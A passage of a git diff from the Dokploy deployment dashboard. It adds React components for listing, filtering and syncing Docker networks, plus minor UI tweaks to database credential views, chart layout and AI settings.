Recreate
|
||||||
|
</Button>
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
<Badge variant="green">In sync</Badge>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "driver",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Driver" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<Badge variant="outline">{row.original.driver}</Badge>
|
||||||
|
<span className="text-xs text-muted-foreground">
|
||||||
|
{row.original.driver === "overlay" ? "swarm" : "local"}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "subnet",
|
||||||
|
accessorFn: (row) => getIpamEntries(row)[0]?.subnet ?? "",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Subnet" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => {
|
||||||
|
const ipamEntries = getIpamEntries(row.original);
|
||||||
|
if (ipamEntries.length === 0) {
|
||||||
|
return <span className="text-muted-foreground">Auto</span>;
|
||||||
|
}
|
||||||
|
return (
|
||||||
|
<div className="flex flex-col gap-1">
|
||||||
|
{ipamEntries.map((c, index) => (
|
||||||
|
<div
|
||||||
|
key={`${row.original.networkId}-ipam-${index}`}
|
||||||
|
className="flex flex-col"
|
||||||
|
>
|
||||||
|
<span>{c.subnet ?? "—"}</span>
|
||||||
|
{(c.gateway || c.ipRange) && (
|
||||||
|
<span className="text-xs text-muted-foreground">
|
||||||
|
{[
|
||||||
|
c.gateway && `gw ${c.gateway}`,
|
||||||
|
c.ipRange && `range ${c.ipRange}`,
|
||||||
|
]
|
||||||
|
.filter(Boolean)
|
||||||
|
.join(" · ")}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "internal",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Internal" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-muted-foreground">
|
||||||
|
{row.original.internal ? "Yes" : "No"}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "attachable",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Attachable" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-muted-foreground">
|
||||||
|
{row.original.attachable ? "Yes" : "No"}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
accessorKey: "createdAt",
|
||||||
|
header: ({ column }) => (
|
||||||
|
<SortableHeader column={column} title="Created" />
|
||||||
|
),
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<span className="text-muted-foreground whitespace-nowrap">
|
||||||
|
{new Date(row.original.createdAt).toLocaleDateString()}
|
||||||
|
</span>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
id: "actions",
|
||||||
|
enableSorting: false,
|
||||||
|
header: () => <div className="text-right">Actions</div>,
|
||||||
|
cell: ({ row }) => (
|
||||||
|
<div className="flex items-center justify-end gap-3">
|
||||||
|
<ShowNetworkConfig
|
||||||
|
networkId={row.original.networkId}
|
||||||
|
networkName={row.original.name}
|
||||||
|
/>
|
||||||
|
<DialogAction
|
||||||
|
title="Delete network"
|
||||||
|
description={`The network "${row.original.name}" will be removed from Docker and Dokploy. This action cannot be undone.`}
|
||||||
|
onClick={async () => {
|
||||||
|
try {
|
||||||
|
await removeNetwork({
|
||||||
|
networkId: row.original.networkId,
|
||||||
|
});
|
||||||
|
toast.success("Network deleted");
|
||||||
|
await utils.network.all.invalidate();
|
||||||
|
await utils.network.networksToSync.invalidate();
|
||||||
|
} catch (error) {
|
||||||
|
toast.error("Error deleting network", {
|
||||||
|
description:
|
||||||
|
error instanceof Error ? error.message : "Unknown error",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon-sm"
|
||||||
|
aria-label="Delete network"
|
||||||
|
>
|
||||||
|
<Trash2 className="size-4 text-destructive" />
|
||||||
|
</Button>
|
||||||
|
</DialogAction>
|
||||||
|
</div>
|
||||||
|
),
|
||||||
|
},
|
||||||
|
],
|
||||||
|
[verified, syncStatus, missingIds, removeNetwork, recreateMutation, utils],
|
||||||
|
);
|
||||||
|
|
||||||
|
const table = useReactTable({
|
||||||
|
data: filteredData,
|
||||||
|
columns,
|
||||||
|
state: {
|
||||||
|
sorting,
|
||||||
|
pagination,
|
||||||
|
},
|
||||||
|
onSortingChange: setSorting,
|
||||||
|
onPaginationChange: setPagination,
|
||||||
|
getCoreRowModel: getCoreRowModel(),
|
||||||
|
getSortedRowModel: getSortedRowModel(),
|
||||||
|
getPaginationRowModel: getPaginationRowModel(),
|
||||||
|
});
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="w-full">
|
||||||
|
<Card className="h-full bg-sidebar p-2.5 rounded-xl">
|
||||||
|
<div className="rounded-xl bg-background shadow-md ">
|
||||||
|
<CardHeader className="">
|
||||||
|
<CardTitle className="text-xl flex flex-row gap-2">
|
||||||
|
<Network className="size-6 text-muted-foreground self-center" />
|
||||||
|
Networks
|
||||||
|
</CardTitle>
|
||||||
|
<CardDescription>
|
||||||
|
Manage the Docker networks of the selected server.
|
||||||
|
</CardDescription>
|
||||||
|
<CardAction className="self-center">
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
{networks && networks.length > 0 && (
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
isLoading={isVerifying}
|
||||||
|
onClick={onVerify}
|
||||||
|
>
|
||||||
|
<ShieldCheck className="size-4" />
|
||||||
|
Verify
|
||||||
|
</Button>
|
||||||
|
)}
|
||||||
|
<SyncNetworks serverId={serverId} />
|
||||||
|
{networks && networks.length > 0 && (
|
||||||
|
<HandleNetwork serverId={serverId} />
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</CardAction>
|
||||||
|
</CardHeader>
|
||||||
|
|
||||||
|
<CardContent className="space-y-4 py-8 border-t">
|
||||||
|
{isLoading ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
|
||||||
|
<span>Loading...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : !networks?.length ? (
|
||||||
|
<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
|
||||||
|
<div className="rounded-full bg-muted p-4">
|
||||||
|
<Network className="size-10 text-muted-foreground" />
|
||||||
|
</div>
|
||||||
|
<div className="space-y-1 text-center">
|
||||||
|
<p className="text-sm font-medium">No networks yet</p>
|
||||||
|
<p className="max-w-sm text-sm text-muted-foreground">
|
||||||
|
Create Docker networks for your organization and optionally
|
||||||
|
attach them to a server. Add your first network to get
|
||||||
|
started.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<HandleNetwork serverId={serverId} />
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<>
|
||||||
|
<div className="flex flex-wrap items-center gap-2">
|
||||||
|
<Input
|
||||||
|
placeholder="Search by name, subnet, gateway..."
|
||||||
|
value={globalFilter}
|
||||||
|
onChange={(e) => setGlobalFilter(e.target.value)}
|
||||||
|
className="max-w-xs"
|
||||||
|
/>
|
||||||
|
<Select value={driverFilter} onValueChange={setDriverFilter}>
|
||||||
|
<SelectTrigger className="w-[150px]">
|
||||||
|
<SelectValue placeholder="Driver" />
|
||||||
|
</SelectTrigger>
|
||||||
|
<SelectContent>
|
||||||
|
<SelectItem value="all">All drivers</SelectItem>
|
||||||
|
<SelectItem value="bridge">bridge</SelectItem>
|
||||||
|
<SelectItem value="overlay">overlay</SelectItem>
|
||||||
|
</SelectContent>
|
||||||
|
</Select>
|
||||||
|
</div>
|
||||||
|
<div className="rounded-md border overflow-x-auto">
|
||||||
|
<Table>
|
||||||
|
<TableHeader>
|
||||||
|
{table.getHeaderGroups().map((headerGroup) => (
|
||||||
|
<TableRow key={headerGroup.id}>
|
||||||
|
{headerGroup.headers.map((header) => (
|
||||||
|
<TableHead key={header.id}>
|
||||||
|
{header.isPlaceholder
|
||||||
|
? null
|
||||||
|
: flexRender(
|
||||||
|
header.column.columnDef.header,
|
||||||
|
header.getContext(),
|
||||||
|
)}
|
||||||
|
</TableHead>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))}
|
||||||
|
</TableHeader>
|
||||||
|
<TableBody>
|
||||||
|
{table.getRowModel().rows?.length ? (
|
||||||
|
table.getRowModel().rows.map((row) => (
|
||||||
|
<TableRow key={row.id}>
|
||||||
|
{row.getVisibleCells().map((cell) => (
|
||||||
|
<TableCell key={cell.id}>
|
||||||
|
{flexRender(
|
||||||
|
cell.column.columnDef.cell,
|
||||||
|
cell.getContext(),
|
||||||
|
)}
|
||||||
|
</TableCell>
|
||||||
|
))}
|
||||||
|
</TableRow>
|
||||||
|
))
|
||||||
|
) : (
|
||||||
|
<TableRow>
|
||||||
|
<TableCell
|
||||||
|
colSpan={columns.length}
|
||||||
|
className="h-24 text-center text-muted-foreground"
|
||||||
|
>
|
||||||
|
No networks match your filters.
|
||||||
|
</TableCell>
|
||||||
|
</TableRow>
|
||||||
|
)}
|
||||||
|
</TableBody>
|
||||||
|
</Table>
|
||||||
|
</div>
|
||||||
|
{table.getPageCount() > 1 && (
|
||||||
|
<div className="flex items-center justify-end gap-4">
|
||||||
|
<span className="text-sm text-muted-foreground">
|
||||||
|
Page {table.getState().pagination.pageIndex + 1} of{" "}
|
||||||
|
{table.getPageCount()}
|
||||||
|
</span>
|
||||||
|
<div className="flex gap-2">
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.previousPage()}
|
||||||
|
disabled={!table.getCanPreviousPage()}
|
||||||
|
>
|
||||||
|
Previous
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="sm"
|
||||||
|
onClick={() => table.nextPage()}
|
||||||
|
disabled={!table.getCanNextPage()}
|
||||||
|
>
|
||||||
|
Next
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</CardContent>
|
||||||
|
</div>
|
||||||
|
</Card>
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
249
apps/dokploy/components/dashboard/networks/sync-networks.tsx
Normal file
249
apps/dokploy/components/dashboard/networks/sync-networks.tsx
Normal file
@@ -0,0 +1,249 @@
|
|||||||
|
"use client";
|
||||||
|
|
||||||
|
import { Loader2, RefreshCw, RotateCcw, Trash2 } from "lucide-react";
|
||||||
|
import { useState } from "react";
|
||||||
|
import { toast } from "sonner";
|
||||||
|
import { AlertBlock } from "@/components/shared/alert-block";
|
||||||
|
import { Badge } from "@/components/ui/badge";
|
||||||
|
import { Button } from "@/components/ui/button";
|
||||||
|
import { Checkbox } from "@/components/ui/checkbox";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogFooter,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
DialogTrigger,
|
||||||
|
} from "@/components/ui/dialog";
|
||||||
|
import { Separator } from "@/components/ui/separator";
|
||||||
|
import { api } from "@/utils/api";
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
serverId?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const SyncNetworks = ({ serverId }: Props) => {
|
||||||
|
const [open, setOpen] = useState(false);
|
||||||
|
const [selected, setSelected] = useState<Set<string>>(new Set());
|
||||||
|
const utils = api.useUtils();
|
||||||
|
|
||||||
|
const { data, isLoading, error, refetch } =
|
||||||
|
api.network.networksToSync.useQuery({ serverId }, { enabled: open });
|
||||||
|
|
||||||
|
const importMutation = api.network.import.useMutation();
|
||||||
|
const removeMutation = api.network.remove.useMutation();
|
||||||
|
const recreateMutation = api.network.recreate.useMutation();
|
||||||
|
|
||||||
|
const toggleSelected = (name: string) => {
|
||||||
|
setSelected((prev) => {
|
||||||
|
const next = new Set(prev);
|
||||||
|
if (next.has(name)) {
|
||||||
|
next.delete(name);
|
||||||
|
} else {
|
||||||
|
next.add(name);
|
||||||
|
}
|
||||||
|
return next;
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const onImport = async () => {
|
||||||
|
try {
|
||||||
|
const result = await importMutation.mutateAsync({
|
||||||
|
serverId,
|
||||||
|
names: Array.from(selected),
|
||||||
|
});
|
||||||
|
|
||||||
|
if (result.imported.length > 0) {
|
||||||
|
toast.success(`Imported ${result.imported.length} network(s)`);
|
||||||
|
}
|
||||||
|
for (const failure of result.errors) {
|
||||||
|
toast.error(`Could not import "${failure.name}"`, {
|
||||||
|
description: failure.error,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
setSelected(new Set());
|
||||||
|
await utils.network.all.invalidate();
|
||||||
|
|
||||||
|
setOpen(false);
|
||||||
|
await refetch();
|
||||||
|
} catch (error) {
|
||||||
|
toast.error("Error importing networks", {
|
||||||
|
description: error instanceof Error ? error.message : "Unknown error",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const onRemoveStale = async (networkId: string, name: string) => {
|
||||||
|
try {
|
||||||
|
await removeMutation.mutateAsync({ networkId });
|
||||||
|
toast.success(`Removed stale record "${name}"`);
|
||||||
|
await utils.network.all.invalidate();
|
||||||
|
await refetch();
|
||||||
|
} catch (error) {
|
||||||
|
toast.error("Error removing record", {
|
||||||
|
description: error instanceof Error ? error.message : "Unknown error",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const onRecreate = async (networkId: string, name: string) => {
|
||||||
|
try {
|
||||||
|
await recreateMutation.mutateAsync({ networkId });
|
||||||
|
toast.success(`Network "${name}" recreated in Docker`);
|
||||||
|
await utils.network.all.invalidate();
|
||||||
|
await utils.network.networksToSync.invalidate();
|
||||||
|
await refetch();
|
||||||
|
} catch (error) {
|
||||||
|
toast.error("Error recreating network", {
|
||||||
|
description: error instanceof Error ? error.message : "Unknown error",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Dialog
|
||||||
|
open={open}
|
||||||
|
onOpenChange={(value) => {
|
||||||
|
setOpen(value);
|
||||||
|
if (!value) setSelected(new Set());
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<DialogTrigger asChild>
|
||||||
|
<Button variant="outline">
|
||||||
|
<RefreshCw className="size-4" />
|
||||||
|
Sync
|
||||||
|
</Button>
|
||||||
|
</DialogTrigger>
|
||||||
|
<DialogContent className="sm:max-w-xl max-h-[90vh] overflow-y-auto">
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle className="flex items-center gap-2">
|
||||||
|
<RefreshCw className="size-5 text-muted-foreground" />
|
||||||
|
Sync networks
|
||||||
|
</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
Import networks that exist in Docker but not in Dokploy, and clean
|
||||||
|
up records whose network no longer exists.
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
|
||||||
|
{error ? (
|
||||||
|
<AlertBlock type="error">{error.message}</AlertBlock>
|
||||||
|
) : isLoading ? (
|
||||||
|
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
|
||||||
|
<span>Scanning Docker networks...</span>
|
||||||
|
<Loader2 className="animate-spin size-4" />
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<div className="flex flex-col gap-4">
|
||||||
|
<div className="flex flex-col gap-2">
|
||||||
|
<span className="text-sm font-medium">
|
||||||
|
Found in Docker ({data?.importable.length ?? 0})
|
||||||
|
</span>
|
||||||
|
{data?.importable.length ? (
|
||||||
|
data.importable.map((dockerNetwork) => (
|
||||||
|
<label
|
||||||
|
key={dockerNetwork.name}
|
||||||
|
htmlFor={`import-network-${dockerNetwork.name}`}
|
||||||
|
className="flex cursor-pointer items-center justify-between gap-3 rounded-lg border p-3"
|
||||||
|
>
|
||||||
|
<div className="flex items-center gap-3">
|
||||||
|
<Checkbox
|
||||||
|
id={`import-network-${dockerNetwork.name}`}
|
||||||
|
checked={selected.has(dockerNetwork.name)}
|
||||||
|
onCheckedChange={() =>
|
||||||
|
toggleSelected(dockerNetwork.name)
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
<div className="flex flex-col">
|
||||||
|
<span className="text-sm font-medium">
|
||||||
|
{dockerNetwork.name}
|
||||||
|
</span>
|
||||||
|
{dockerNetwork.subnets.length > 0 && (
|
||||||
|
<span className="text-xs text-muted-foreground">
|
||||||
|
{dockerNetwork.subnets.join(" · ")}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<Badge variant="outline">{dockerNetwork.driver}</Badge>
|
||||||
|
</label>
|
||||||
|
))
|
||||||
|
) : (
|
||||||
|
<span className="text-sm text-muted-foreground">
|
||||||
|
Nothing to import — everything is in sync.
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{!!data?.missing.length && (
|
||||||
|
<>
|
||||||
|
<Separator />
|
||||||
|
<div className="flex flex-col gap-2">
|
||||||
|
<span className="text-sm font-medium">
|
||||||
|
Missing in Docker ({data.missing.length})
|
||||||
|
</span>
|
||||||
|
<span className="text-xs text-muted-foreground">
|
||||||
|
These records exist in Dokploy but their network is gone
|
||||||
|
from Docker.
|
||||||
|
</span>
|
||||||
|
{data.missing.map((stale) => (
|
||||||
|
<div
|
||||||
|
key={stale.networkId}
|
||||||
|
className="flex items-center justify-between gap-3 rounded-lg border border-dashed p-3"
|
||||||
|
>
|
||||||
|
<span className="text-sm">{stale.name}</span>
|
||||||
|
<div className="flex items-center gap-2">
|
||||||
|
<Button
|
||||||
|
variant="outline"
|
||||||
|
size="xs"
|
||||||
|
isLoading={recreateMutation.isPending}
|
||||||
|
onClick={() =>
|
||||||
|
onRecreate(stale.networkId, stale.name)
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<RotateCcw className="size-3.5" />
|
||||||
|
Recreate
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
variant="ghost"
|
||||||
|
size="icon-sm"
|
||||||
|
aria-label={`Remove stale record ${stale.name}`}
|
||||||
|
isLoading={removeMutation.isPending}
|
||||||
|
onClick={() =>
|
||||||
|
onRemoveStale(stale.networkId, stale.name)
|
||||||
|
}
|
||||||
|
>
|
||||||
|
<Trash2 className="size-4 text-destructive" />
|
||||||
|
</Button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<DialogFooter>
|
||||||
|
<Button
|
||||||
|
type="button"
|
||||||
|
variant="outline"
|
||||||
|
onClick={() => setOpen(false)}
|
||||||
|
>
|
||||||
|
Close
|
||||||
|
</Button>
|
||||||
|
<Button
|
||||||
|
type="button"
|
||||||
|
disabled={selected.size === 0}
|
||||||
|
isLoading={importMutation.isPending}
|
||||||
|
onClick={onImport}
|
||||||
|
>
|
||||||
|
Import selected ({selected.size})
|
||||||
|
</Button>
|
||||||
|
</DialogFooter>
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -93,6 +93,7 @@ export function AddOrganization({ organizationId }: Props) {
|
|||||||
.catch((error) => {
|
.catch((error) => {
|
||||||
console.error(error);
|
console.error(error);
|
||||||
toast.error(
|
toast.error(
|
||||||
|
error?.message ??
|
||||||
`Failed to ${organizationId ? "update" : "create"} organization`,
|
`Failed to ${organizationId ? "update" : "create"} organization`,
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
|
||||||
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
||||||
|
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
||||||
import { useState } from "react";
|
import { useState } from "react";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { DialogAction } from "@/components/shared/dialog-action";
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
@@ -234,6 +234,7 @@ export const ShowGeneralPostgres = ({ postgresId }: Props) => {
|
|||||||
</TooltipProvider>
|
</TooltipProvider>
|
||||||
<DockerTerminalModal
|
<DockerTerminalModal
|
||||||
appName={data?.appName || ""}
|
appName={data?.appName || ""}
|
||||||
|
serviceId={data?.postgresId}
|
||||||
serverId={data?.serverId || ""}
|
serverId={data?.serverId || ""}
|
||||||
>
|
>
|
||||||
<Button
|
<Button
|
||||||
|
|||||||
@@ -25,11 +25,11 @@ export const ShowInternalPostgresCredentials = ({ postgresId }: Props) => {
|
|||||||
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>User</Label>
|
<Label>User</Label>
|
||||||
<Input disabled value={data?.databaseUser} />
|
<Input enableCopyButton disabled value={data?.databaseUser} />
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Database Name</Label>
|
<Label>Database Name</Label>
|
||||||
<Input disabled value={data?.databaseName} />
|
<Input enableCopyButton disabled value={data?.databaseName} />
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Password</Label>
|
<Label>Password</Label>
|
||||||
@@ -57,7 +57,7 @@ export const ShowInternalPostgresCredentials = ({ postgresId }: Props) => {
|
|||||||
|
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Internal Host</Label>
|
<Label>Internal Host</Label>
|
||||||
<Input disabled value={data?.appName} />
|
<Input enableCopyButton disabled value={data?.appName} />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
|
|||||||
@@ -62,7 +62,7 @@ const dockerImageDefaultPlaceholder: Record<DbType, string> = {
|
|||||||
mariadb: "mariadb:11",
|
mariadb: "mariadb:11",
|
||||||
mysql: "mysql:8",
|
mysql: "mysql:8",
|
||||||
postgres: "postgres:18",
|
postgres: "postgres:18",
|
||||||
redis: "redis:7",
|
redis: "redis:8",
|
||||||
};
|
};
|
||||||
|
|
||||||
const databasesUserDefaultPlaceholder: Record<
|
const databasesUserDefaultPlaceholder: Record<
|
||||||
|
|||||||
@@ -47,7 +47,7 @@ interface Details {
|
|||||||
envVariables: EnvVariable[];
|
envVariables: EnvVariable[];
|
||||||
shortDescription: string;
|
shortDescription: string;
|
||||||
domains: Domain[];
|
domains: Domain[];
|
||||||
configFiles?: Mount[];
|
configFiles?: Mount[] | null;
|
||||||
}
|
}
|
||||||
|
|
||||||
interface Mount {
|
interface Mount {
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
|
||||||
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
|
||||||
|
import { Tooltip as TooltipPrimitive } from "radix-ui";
|
||||||
import { useState } from "react";
|
import { useState } from "react";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { DialogAction } from "@/components/shared/dialog-action";
|
import { DialogAction } from "@/components/shared/dialog-action";
|
||||||
@@ -229,6 +229,7 @@ export const ShowGeneralRedis = ({ redisId }: Props) => {
|
|||||||
</TooltipProvider>
|
</TooltipProvider>
|
||||||
<DockerTerminalModal
|
<DockerTerminalModal
|
||||||
appName={data?.appName || ""}
|
appName={data?.appName || ""}
|
||||||
|
serviceId={data?.redisId}
|
||||||
serverId={data?.serverId || ""}
|
serverId={data?.serverId || ""}
|
||||||
>
|
>
|
||||||
<Button
|
<Button
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ export const ShowInternalRedisCredentials = ({ redisId }: Props) => {
|
|||||||
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>User</Label>
|
<Label>User</Label>
|
||||||
<Input disabled value="default" />
|
<Input enableCopyButton disabled value="default" />
|
||||||
</div>
|
</div>
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Password</Label>
|
<Label>Password</Label>
|
||||||
@@ -53,7 +53,7 @@ export const ShowInternalRedisCredentials = ({ redisId }: Props) => {
|
|||||||
|
|
||||||
<div className="flex flex-col gap-2">
|
<div className="flex flex-col gap-2">
|
||||||
<Label>Internal Host</Label>
|
<Label>Internal Host</Label>
|
||||||
<Input disabled value={data?.appName} />
|
<Input enableCopyButton disabled value={data?.appName} />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="flex flex-col gap-2 md:col-span-2">
|
<div className="flex flex-col gap-2 md:col-span-2">
|
||||||
|
|||||||
@@ -1,11 +1,4 @@
|
|||||||
import {
|
import { Area, AreaChart, CartesianGrid, XAxis, YAxis } from "recharts";
|
||||||
Area,
|
|
||||||
AreaChart,
|
|
||||||
CartesianGrid,
|
|
||||||
ResponsiveContainer,
|
|
||||||
XAxis,
|
|
||||||
YAxis,
|
|
||||||
} from "recharts";
|
|
||||||
import {
|
import {
|
||||||
type ChartConfig,
|
type ChartConfig,
|
||||||
ChartContainer,
|
ChartContainer,
|
||||||
@@ -49,13 +42,10 @@ export const RequestDistributionChart = ({
|
|||||||
);
|
);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="w-full h-[200px] overflow-hidden">
|
<ChartContainer
|
||||||
<ResponsiveContainer
|
config={chartConfig}
|
||||||
width="100%"
|
className="aspect-auto h-[200px] w-full"
|
||||||
height="100%"
|
|
||||||
className="overflow-hidden"
|
|
||||||
>
|
>
|
||||||
<ChartContainer config={chartConfig}>
|
|
||||||
<AreaChart
|
<AreaChart
|
||||||
accessibilityLayer
|
accessibilityLayer
|
||||||
data={stats || []}
|
data={stats || []}
|
||||||
@@ -107,7 +97,5 @@ export const RequestDistributionChart = ({
|
|||||||
/>
|
/>
|
||||||
</AreaChart>
|
</AreaChart>
|
||||||
</ChartContainer>
|
</ChartContainer>
|
||||||
</ResponsiveContainer>
|
|
||||||
</div>
|
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -328,7 +328,7 @@ export const RequestsTable = ({ dateRange }: RequestsTableProps) => {
|
|||||||
open={!!selectedRow}
|
open={!!selectedRow}
|
||||||
onOpenChange={(_open) => setSelectedRow(undefined)}
|
onOpenChange={(_open) => setSelectedRow(undefined)}
|
||||||
>
|
>
|
||||||
<SheetContent className="sm:max-w-[740px] flex flex-col">
|
<SheetContent className="w-full sm:max-w-[740px]! flex flex-col">
|
||||||
<SheetHeader>
|
<SheetHeader>
|
||||||
<SheetTitle>Request log</SheetTitle>
|
<SheetTitle>Request log</SheetTitle>
|
||||||
<SheetDescription>
|
<SheetDescription>
|
||||||
|
|||||||
@@ -13,10 +13,14 @@ import {
|
|||||||
} from "@/components/ui/card";
|
} from "@/components/ui/card";
|
||||||
import { api } from "@/utils/api";
|
import { api } from "@/utils/api";
|
||||||
import { HandleAi } from "./handle-ai";
|
import { HandleAi } from "./handle-ai";
|
||||||
|
import { HandleAiProviders } from "./handle-ai-providers";
|
||||||
|
|
||||||
export const AiForm = () => {
|
export const AiForm = () => {
|
||||||
const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
|
const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
|
||||||
const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
|
const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
|
||||||
|
const { data: currentUser } = api.user.get.useQuery();
|
||||||
|
const isOrgAdmin =
|
||||||
|
currentUser?.role === "owner" || currentUser?.role === "admin";
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="w-full">
|
<div className="w-full">
|
||||||
@@ -30,7 +34,10 @@ export const AiForm = () => {
|
|||||||
</CardTitle>
|
</CardTitle>
|
||||||
<CardDescription>Manage your AI configurations</CardDescription>
|
<CardDescription>Manage your AI configurations</CardDescription>
|
||||||
</div>
|
</div>
|
||||||
|
<div className="flex flex-row gap-2">
|
||||||
|
{isOrgAdmin && <HandleAiProviders />}
|
||||||
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
|
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
|
||||||
|
</div>
|
||||||
</CardHeader>
|
</CardHeader>
|
||||||
<CardContent className="space-y-2 py-8 border-t">
|
